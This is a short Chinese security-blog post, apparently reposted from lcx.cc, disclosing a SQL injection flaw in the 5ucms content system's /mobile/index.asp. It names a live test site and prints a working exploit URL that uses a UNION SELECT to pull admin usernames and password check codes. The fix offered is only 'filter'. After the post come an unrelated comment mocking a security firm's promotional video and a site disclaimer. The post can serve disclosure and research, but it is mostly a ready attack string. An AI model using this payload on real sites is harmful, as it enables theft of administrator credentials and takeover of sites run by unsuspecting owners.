漏洞发现：鬼哥
漏洞文件：/mobile/index.asp
漏洞说明：未对变量id过滤 导致产生sql注入！
漏洞测试：http://www.5u.hk/ 官方
漏洞证明↓
漏洞EXP↓
/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin
漏洞修复↓
过滤。。。
放手上很久了，没怎么用。就放出来吧。希望只用于测试。不要恶意利用。
文章来源于lcx.cc:5ucms 最新版 sql 注入漏洞
绿盟科技宣传片 绿盟科技宣传片。 啊哈哈哈哈，这宣传片，笑死人。 恶心死人啊，欺负不懂电脑的广大群众…… 还有，视频最后给客户打电话说：我们检测到你网络……，是不是也能检测到，用户在下毛片呢，用户的各种账号密码呢……非法监控！文…
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论